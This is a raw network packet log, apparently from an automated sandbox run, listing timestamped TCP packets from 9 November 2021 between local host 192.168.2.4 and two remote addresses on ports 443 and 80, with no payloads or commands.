Nov 9, 2021 22:21:49.817225933 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817235947 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817290068 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817303896 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817347050 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817388058 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817425013 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817445993 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817461014 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817473888 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817508936 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817558050 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817569017 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817583084 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817625046 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817658901 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817684889 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817687035 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817699909 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817706108 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817744017 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817759991 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817774057 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817810059 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817851067 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817862988 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817876101 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817908049 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817918062 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817960978 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818000078 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818012953 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.818027973 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818061113 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.818068027 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818120003 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818176985 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818228006 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.818243027 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.818253994 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.834423065 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834522963 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834567070 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834645033 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.834670067 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834723949 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.834784985 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.834861040 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834923029 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.834980965 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.834988117 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835002899 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835047007 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835100889 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835202932 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835258007 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835299969 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835314989 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835359097 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835402966 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835454941 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835534096 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835545063 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835558891 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835598946 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835645914 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835686922 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835789919 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835796118 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835808992 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.835885048 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.835921049 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.836010933 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.836064100 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.836159945 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.836169004 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.836182117 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.836260080 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.851907015 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852042913 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852097988 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852143049 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852164984 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852174997 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852264881 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852279902 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852302074 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852369070 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852380991 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852401018 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852471113 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852492094 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852580070 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.852580070 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.852956057 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.898509026 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:49.906642914 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.906691074 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.906755924 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907286882 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907301903 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907325029 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907393932 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907407999 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907430887 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907455921 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907468081 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907495975 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907511950 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907536983 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.907550097 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.907630920 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.908164024 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913403988 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913424015 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913506985 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913640976 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913651943 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913671017 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913741112 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913753986 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913769007 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913788080 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913798094 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913815975 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913820982 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913827896 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.913846970 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.913901091 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.916681051 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.916704893 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.916800022 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.916913986 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.916925907 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.916948080 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.916959047 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.917042971 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.917057991 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.917083979 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.917094946 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.917124987 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.917186022 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.920109034 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.920149088 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.920263052 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.920660973 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.922259092 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.924300909 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:50.416901112 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.416945934 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.416968107 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.416990995 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417196989 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.417212009 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417224884 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.417241096 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417260885 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417283058 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417304039 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417321920 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.417327881 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.417396069 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.417402983 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721069098 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721098900 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721122026 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721146107 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721170902 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721173048 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721199989 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721204042 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721225023 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721247911 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721270084 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721278906 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721295118 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721318960 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721328020 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721349001 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721350908 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721376896 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721400023 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721422911 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721427917 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721446037 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721455097 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721470118 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721492052 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721509933 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721512079 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721537113 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:50.721539974 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:50.721632004 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025392056 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025455952 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025495052 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025536060 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025564909 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025580883 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025621891 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025636911 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025665998 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025681973 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025710106 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025751114 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025763988 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025793076 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025830984 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025867939 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025870085 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025909901 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025947094 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.025963068 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.025985956 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026005983 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026026964 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026067019 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026092052 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026108027 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026144981 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026195049 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026201010 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026233912 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026258945 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026272058 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026310921 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026349068 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026364088 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026386976 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026408911 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026427984 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026464939 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026487112 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026504040 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026542902 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026578903 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026596069 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026618004 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026624918 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026659012 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026698112 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026715994 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026741028 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026778936 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026817083 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026823044 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026859999 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026896000 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026897907 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026940107 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.026962996 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.026977062 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.027040958 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.330725908 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330776930 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330807924 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330847979 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330888987 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330928087 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330928087 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.330962896 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.330967903 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.330977917 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331010103 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331048965 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331089020 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331104040 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331127882 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331167936 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331182957 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331207991 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331216097 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331248045 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331286907 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331298113 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331327915 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331368923 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331398010 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331408024 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331448078 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331490040 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331506968 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331531048 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331569910 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331578970 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331609964 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331650019 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331684113 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331688881 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331729889 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331757069 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331767082 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331789017 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331815958 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331836939 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331876040 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331895113 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331919909 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331959009 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.331959009 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.331999063 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332022905 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332037926 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332068920 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332099915 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332123995 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332139969 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332145929 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332180977 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332220078 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332257032 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332283020 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332297087 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332313061 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332335949 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332375050 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332391977 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332412958 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332448959 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332464933 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332488060 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332525969 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332562923 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.332587004 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.332613945 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636398077 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636440039 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636464119 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636485100 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636506081 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636528969 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636550903 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636576891 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636589050 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636586905 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636605978 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636626005 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636642933 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636645079 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636658907 CET	80	49870	47.74.84.15	192.168.2.4
